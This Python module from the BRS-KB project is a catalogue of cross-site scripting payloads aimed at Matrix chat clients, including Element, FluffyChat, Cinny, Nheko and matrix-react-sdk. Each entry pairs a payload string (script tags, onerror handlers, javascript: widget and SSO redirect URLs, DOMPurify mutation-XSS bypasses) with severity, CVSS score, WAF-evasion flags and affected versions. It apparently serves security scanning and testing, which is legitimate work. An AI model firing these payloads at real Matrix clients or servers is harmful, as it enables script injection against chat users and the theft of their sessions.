# Project: BRS-KB
# Company: EasyProTech LLC (www.easypro.tech)
# Dev: Brabus
# Date: 2025-12-26 UTC
# Status: Created
# Telegram: https://t.me/EasyProTech

"""
Matrix Clients XSS Payloads

Client-specific attack vectors for Matrix ecosystem.
Covers Element, FluffyChat, Cinny, Nheko, and other clients.

Profile: matrix-clients
"""

from ..models import PayloadEntry


BRS_KB_MATRIX_CLIENTS_PAYLOADS = {
    # ============================================================
    # ELEMENT WEB/DESKTOP
    # ============================================================
    "matrix-element-rageshake": PayloadEntry(
        payload='user_id="><script>alert(1)</script>&app=element-web',
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Element rageshake/bugreport XSS",
        tags=["element", "rageshake", "bugreport"],
        bypasses=["rageshake_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="Element-specific / rageshake",
        known_affected=["element-web<=1.11.x"],
        profile="matrix-clients",
    ),
    "matrix-element-permalink": PayloadEntry(
        payload="https://app.element.io/#/room/!<script>alert(1)</script>:server",
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Element permalink room ID XSS",
        tags=["element", "permalink", "room"],
        bypasses=["permalink_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Element-specific / permalinks",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-deeplink": PayloadEntry(
        payload='element://vector/webapp/#/room/!"><script>alert(1)</script>',
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Element desktop deep linking XSS",
        tags=["element", "deeplink", "desktop"],
        bypasses=["deeplink_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="Element-specific / deep linking",
        known_affected=["element-desktop"],
        profile="matrix-clients",
    ),
    "matrix-element-jitsi-domain": PayloadEntry(
        payload='{"type":"jitsi","content":{"domain":"<script>alert(1)</script>","conferenceId":"x"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Element Jitsi widget domain XSS",
        tags=["element", "jitsi", "widget", "domain"],
        bypasses=["jitsi_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="widget",
        spec_ref="Element-specific / Jitsi integration",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-widget-url": PayloadEntry(
        payload='{"type":"im.vector.modular.widgets","state_key":"widget_id","content":{"type":"customwidget","url":"javascript:alert(1)","name":"XSS"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.5,
        description="Element widget URL javascript: XSS",
        tags=["element", "widget", "url", "javascript"],
        bypasses=["widget_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="widget",
        spec_ref="im.vector.modular.widgets",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-widget-name": PayloadEntry(
        payload='{"type":"im.vector.modular.widgets","state_key":"widget_id","content":{"type":"customwidget","url":"https://x","name":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Element widget name XSS",
        tags=["element", "widget", "name"],
        bypasses=["widget_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="widget",
        spec_ref="im.vector.modular.widgets",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-widget-data": PayloadEntry(
        payload='{"type":"im.vector.modular.widgets","state_key":"widget_id","content":{"type":"customwidget","url":"https://x","data":{"title":"<script>alert(1)</script>"}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Element widget data XSS",
        tags=["element", "widget", "data"],
        bypasses=["widget_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="widget",
        spec_ref="im.vector.modular.widgets",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-scalar-token": PayloadEntry(
        payload='scalar_token="><script>alert(1)</script>&room_id=!x:server',
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Element Scalar integration token XSS",
        tags=["element", "scalar", "integration", "token"],
        bypasses=["integration_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="integration",
        spec_ref="Element-specific / Scalar",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-sso-redirect": PayloadEntry(
        payload="/_matrix/client/v3/login/sso/redirect?redirectUrl=javascript:alert(1)",
        contexts=["url", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Element SSO redirect XSS",
        tags=["element", "sso", "redirect", "auth"],
        bypasses=["redirect_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="SSO / redirectUrl",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-login-fallback": PayloadEntry(
        payload="/_matrix/client/v3/login/fallback?redirectUrl=javascript:alert(document.domain)",
        contexts=["url", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Element login fallback redirect XSS",
        tags=["element", "login", "fallback", "redirect"],
        bypasses=["redirect_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="Login fallback / redirectUrl",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-notification": PayloadEntry(
        payload='{"notification":{"room_name":"<script>alert(1)</script>","sender_display_name":"attacker","content":{"body":"msg"}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Element push notification room_name XSS",
        tags=["element", "notification", "push"],
        bypasses=["notification_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="push",
        spec_ref="Push notifications",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-search-highlight": PayloadEntry(
        payload='{"search_categories":{"room_events":{"highlights":["<script>alert(1)</script>"]}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Element search highlight XSS",
        tags=["element", "search", "highlight"],
        bypasses=["search_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="/_matrix/client/v3/search",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-code-language": PayloadEntry(
        payload='<pre><code class="language-"><script>alert(1)</script>">code</code></pre>',
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Element code block language class XSS",
        tags=["element", "code", "language", "highlight"],
        bypasses=["code_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="org.matrix.custom.html / code blocks",
        known_affected=None,
        profile="matrix-clients",
    ),
    "matrix-element-latex-href": PayloadEntry(
        payload="$\\href{javascript:alert(1)}{click}$",
        contexts=["markdown", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Element LaTeX \\href command XSS",
        tags=["element", "latex", "href", "katex"],
        bypasses=["latex_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Element-specific / KaTeX",
        known_affected=None,
        profile="matrix-clients",
    ),
    # ============================================================
    # FLUFFYCHAT
    # ============================================================
    "matrix-fluffychat-sticker": PayloadEntry(
        payload='{"msgtype":"m.sticker","body":"<img src=x onerror=alert(1)>","url":"mxc://x/y","info":{"thumbnail_url":"mxc://x/y"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="FluffyChat sticker body XSS",
        tags=["fluffychat", "sticker", "body"],
        bypasses=["sticker_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.sticker",
        known_affected=["fluffychat"],
        profile="matrix-clients",
    ),
    "matrix-fluffychat-displayname": PayloadEntry(
        payload='{"displayname":"<svg onload=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="FluffyChat displayname XSS",
        tags=["fluffychat", "displayname"],
        bypasses=["displayname_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.member",
        known_affected=["fluffychat"],
        profile="matrix-clients",
    ),
    "matrix-fluffychat-room-name": PayloadEntry(
        payload='{"name":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="FluffyChat room name XSS",
        tags=["fluffychat", "room", "name"],
        bypasses=["state_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.name",
        known_affected=["fluffychat"],
        profile="matrix-clients",
    ),
    # ============================================================
    # CINNY
    # ============================================================
    "matrix-cinny-markdown-html": PayloadEntry(
        payload="```html\n<script>alert(1)</script>\n```",
        contexts=["markdown", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Cinny code block HTML language XSS",
        tags=["cinny", "markdown", "code", "html"],
        bypasses=["code_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Cinny-specific / markdown",
        known_affected=["cinny<=4.x"],
        profile="matrix-clients",
    ),
    "matrix-cinny-custom-emoji": PayloadEntry(
        payload='{"shortcode":"<img src=x onerror=alert(1)>","url":"mxc://x/y"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Cinny custom emoji shortcode XSS",
        tags=["cinny", "emoji", "shortcode"],
        bypasses=["emoji_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="im.ponies.room_emotes",
        known_affected=["cinny"],
        profile="matrix-clients",
    ),
    "matrix-cinny-room-topic": PayloadEntry(
        payload='{"topic":"<svg onload=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Cinny room topic XSS",
        tags=["cinny", "room", "topic"],
        bypasses=["state_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.topic",
        known_affected=["cinny"],
        profile="matrix-clients",
    ),
    # ============================================================
    # NHEKO
    # ============================================================
    "matrix-nheko-notification": PayloadEntry(
        payload='{"sender":"@<script>alert(1)</script>:server","content":{"body":"msg"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Nheko notification sender XSS",
        tags=["nheko", "notification", "sender"],
        bypasses=["notification_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Push notifications",
        known_affected=["nheko"],
        profile="matrix-clients",
    ),
    "matrix-nheko-reply-preview": PayloadEntry(
        payload='{"m.relates_to":{"m.in_reply_to":{"event_id":"$<script>alert(1)</script>"}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Nheko reply preview event ID XSS",
        tags=["nheko", "reply", "event_id"],
        bypasses=["reply_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="m.relates_to / m.in_reply_to",
        known_affected=["nheko"],
        profile="matrix-clients",
    ),
    # ============================================================
    # HYDROGEN
    # ============================================================
    "matrix-hydrogen-timeline": PayloadEntry(
        payload='{"content":{"body":"x","format":"org.matrix.custom.html","formatted_body":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Hydrogen timeline message XSS",
        tags=["hydrogen", "timeline", "message"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.message",
        known_affected=["hydrogen"],
        profile="matrix-clients",
    ),
    # ============================================================
    # SCHILDICHAT
    # ============================================================
    "matrix-schildichat-bubble": PayloadEntry(
        payload='{"content":{"format":"org.matrix.custom.html","formatted_body":"<svg onload=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="SchildiChat message bubble XSS",
        tags=["schildichat", "bubble", "message"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.message",
        known_affected=["schildichat"],
        profile="matrix-clients",
    ),
    # ============================================================
    # FRACTAL
    # ============================================================
    "matrix-fractal-message": PayloadEntry(
        payload='{"formatted_body":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Fractal message body XSS",
        tags=["fractal", "message"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.message",
        known_affected=["fractal"],
        profile="matrix-clients",
    ),
    # ============================================================
    # QUATERNION
    # ============================================================
    "matrix-quaternion-html": PayloadEntry(
        payload='<a href="javascript:alert(1)">click</a>',
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Quaternion HTML link XSS",
        tags=["quaternion", "html", "link"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="org.matrix.custom.html",
        known_affected=["quaternion"],
        profile="matrix-clients",
    ),
    # ============================================================
    # MATRIX-REACT-SDK COMMON
    # ============================================================
    "matrix-react-sdk-sanitizer-bypass": PayloadEntry(
        payload="<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
        contexts=["html_content", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="matrix-react-sdk DOMPurify mXSS bypass",
        tags=["matrix-react-sdk", "dompurify", "mxss"],
        bypasses=["dompurify", "matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="matrix-react-sdk / sanitization",
        known_affected=["element-web", "schildichat"],
        profile="matrix-clients",
    ),
    "matrix-react-sdk-namespace": PayloadEntry(
        payload='<svg><p><style><g title="</style><img src onerror=alert(1)>">',
        contexts=["html_content", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="matrix-react-sdk namespace confusion",
        tags=["matrix-react-sdk", "namespace", "mxss"],
        bypasses=["dompurify", "matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="matrix-react-sdk / sanitization",
        known_affected=["element-web"],
        profile="matrix-clients",
    ),
}

BRS_KB_MATRIX_CLIENTS_TOTAL_PAYLOADS = len(BRS_KB_MATRIX_CLIENTS_PAYLOADS)
